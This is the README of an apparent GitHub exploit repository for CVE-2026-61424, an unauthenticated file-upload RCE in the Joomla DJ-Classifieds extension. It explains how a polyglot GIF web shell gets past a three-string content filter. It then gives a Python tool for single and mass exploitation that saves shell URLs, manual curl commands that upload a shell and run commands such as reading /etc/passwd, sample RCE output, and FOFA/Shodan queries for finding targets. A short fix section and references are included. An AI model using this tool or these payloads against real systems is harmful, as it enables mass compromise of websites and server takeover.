shinthink/CVE-2026-61424

GitHub: shinthink/CVE-2026-61424

针对 Joomla DJ-Classifieds 组件未授权文件上传远程代码执行漏洞(CVE-2026-61424)的自动化检测与漏洞利用工具。

Stars: 0 | Forks: 0

Python CVE CVSS License

CVE-2026-61424 — DJ-Classifieds <= 3.11.1

imageupload 任务 → 无需认证 → 3 字符串过滤绕过 ( ## 概述 | 字段 | 详情 | |-------|--------| | **CVE** | CVE-2026-61424 | | **产品** | DJ-Classifieds(由 DJ-Extensions 开发的 Joomla 扩展) | | **CVSS 4.0** | **10.0(严重)** | | **类型** | CWE-434 — 无限制文件上传 | | **发现者** | Phil Taylor / mySites.guru — 2026 年 7 月 16 日 | | **漏洞利用** | 在披露**之前**已确认被在野利用 | ## 受影响版本 | 状态 | 版本 | |--------|---------| | **存在漏洞** | 1.0 — 3.11.1 | | **已修复** | 3.11.2(2026 年 7 月 20 日) | ## 漏洞机制 ### 根本原因 `administrator/components/com_djclassifieds/lib/djupload.php` 中的 `upload()` 方法被映射到 `imageupload` 任务,**没有身份验证检查**且**没有 CSRF token 验证**。 ``` // administrator/components/com_djclassifieds/lib/djupload.php // imageupload task → upload() method // MISSING: JFactory::getUser() auth check // MISSING: JSession::checkToken() CSRF check $name = $_REQUEST['name'] ?? $_REQUEST['filename'] ?? ''; $raw_body = file_get_contents('php://input'); // ... writes file to tmp/djupload/ ``` ### 为什么安全过滤会失效(3 字符串绕过) 内容扫描器仅将**三个文字字符串**列入黑名单: ``` // The ONLY malicious-content check in the entire upload handler: if (preg_match('/<\?php|eval\(|base64/i', $fileContent)) { die('Malicious file detected'); } ``` 这会拦截 ` ← 0/3 blocked strings → PASSES ``` PHP 短 echo 标签 (`` 2. POST 到 `index.php?option=com_djclassifieds&task=imageupload`,附带 `name=shell.gif` 3. 服务器检查:`.gif` 扩展名 ✓ `getimagesize()` ✓ 无 `.gif` 5. 访问:`https://target.com/tmp/djupload/shell.gif?c=id` ### 已验证的源文件 | 文件 | 作用 | |------|------| | `administrator/components/com_djclassifieds/lib/djupload.php` | `upload()` 方法 — 无认证,3 字符串过滤 | | `components/com_djclassifieds/controller.php` | 将 `imageupload` 任务路由至 `upload()` | | `administrator/components/com_djclassifieds/djclassifieds.xml` | 通过 `` 标签泄露版本信息 | ### 服务器日志证据 在披露前观察到的在野匿名扫描器探测: ``` POST /index.php?option=com_djclassifieds&task=imageupload name=.gif filename=.gif — no cookie, no session, no referer ``` ## 安装 ``` git clone https://github.com/shinthink/CVE-2026-61424.git cd CVE-2026-61424 pip install -r requirements.txt ``` ## 使用方法 ### 单一目标 ``` python cve_2026_61424.py -t target.com ``` ### 批量漏洞利用 ``` python cve_2026_61424.py -f targets.txt -o shells.txt ``` ### 参数 | 标志 | 描述 | 默认值 | |------|-------------|---------| | `-t`, `--target` | 单一目标主机 | — | | `-f`, `--file` | 包含目标的文件(每行一个,支持 `#` 注释) | — | | `-o`, `--output` | 将 RCE URL 保存至文件 | — | | `--threads` | 批量模式的工作线程 | `30` | | `--no-cleanup` | RCE 后不删除 shell | `False` | | `--debug` | 调试输出 | `False` | ## 概念验证 ### 单一目标 ``` $ python cve_2026_61424.py -t target.com Host : target.com DJ-Classifieds: YES v3.11.1 Upload : YES RCE : YES Shell : https://target.com/tmp/djupload/img_abc123.gif Output : DJ-SHELL-OK Linux ... uid=33(www-data) gid=33(www-data) ... Time : 2.1s ``` ### 手动漏洞利用 ``` # 步骤 1 — 上传 polylogot shell curl -sk -X POST \ "https://target.com/index.php?option=com_djclassifieds&task=imageupload&name=shell.gif&filename=shell.gif" \ -H "Content-Type: image/gif" \ --data-binary @polyglot.gif # 步骤 2 — 验证 RCE curl -sk "https://target.com/tmp/djupload/shell.gif?c=id;hostname;uname+-a" # 步骤 3 — 执行任意命令 curl -sk "https://target.com/tmp/djupload/shell.gif?c=cat%20/etc/passwd" ``` ## FOFA / Shodan ``` # DJ-Classifieds 组件 body="com_djclassifieds" # 版本泄露 (XML manifest) body="DJ-Classifieds" && body="" # 暴露的 djupload 目录 body="Index of" && body="djupload" # Shodan http.html:"com_djclassifieds" http.component:"Joomla" ``` ## 修复方案 (3.11.2) 1. **新增 Joomla 身份验证** — 在 `upload()` 之前进行 `JFactory::getUser()` 访客检查 2. **新增 CSRF token 验证** — 针对 `imageupload` 任务执行 `JSession::checkToken()` 3. **限制文件类型** — 服务端仅允许图片的白名单机制 (`jpg`, `jpeg`, `png`, `gif`) 4. **改进内容扫描** — 超出 3 字符串黑名单的额外 PHP 模式检测 ## 影响 - **完全 RCE** — 以 web 服务器用户身份执行任意命令 - **持久访问** — shell 将保留,直到被手动移除或目录被清理 - **内容滥用** — 在受信任的域名上传并托管任意文件 - **磁盘耗尽** — 具备匿名批量上传能力 - **链式攻击** — 多态图片可能通过网站其他地方的 LFI 被包含执行 ## 免责声明 ## 参考 | 资源 | 链接 | |----------|------| | IONIX Threat Center | [ionix.io/threat-center/cve-2026-61424](https://www.ionix.io/threat-center/cve-2026-61424/) | | mySites.guru Discovery | [mysites.guru/blog/dj-classifieds-unauthenticated-file-upload](https://mysites.guru/blog/dj-classifieds-unauthenticated-file-upload/) | | DJ-Extensions Security Release | [dj-extensions.com/blog/general/dj-classifieds-3-11-2-security-release](https://dj-extensions.com/blog/general/dj-classifieds-3-11-2-security-release) | | CVE.org Record | [cve.org/CVERecord?id=CVE-2026-61424](https://www.cve.org/CVERecord?id=CVE-2026-61424) | | INCIBE-CERT | [incibe.es/en/incibe-cert/early-warning/vulnerabilities/cve-2026-61424](https://www.incibe.es/index.php/en/incibe-cert/early-warning/vulnerabilities/cve-2026-61424) |

与 DJ-Extensions 或 mySites.guru 无任何关联。

标签:CISA项目, Joomla, Python, 文件上传绕过, 无后门, 无服务器架构, 编程工具, 远程代码执行, 逆向工具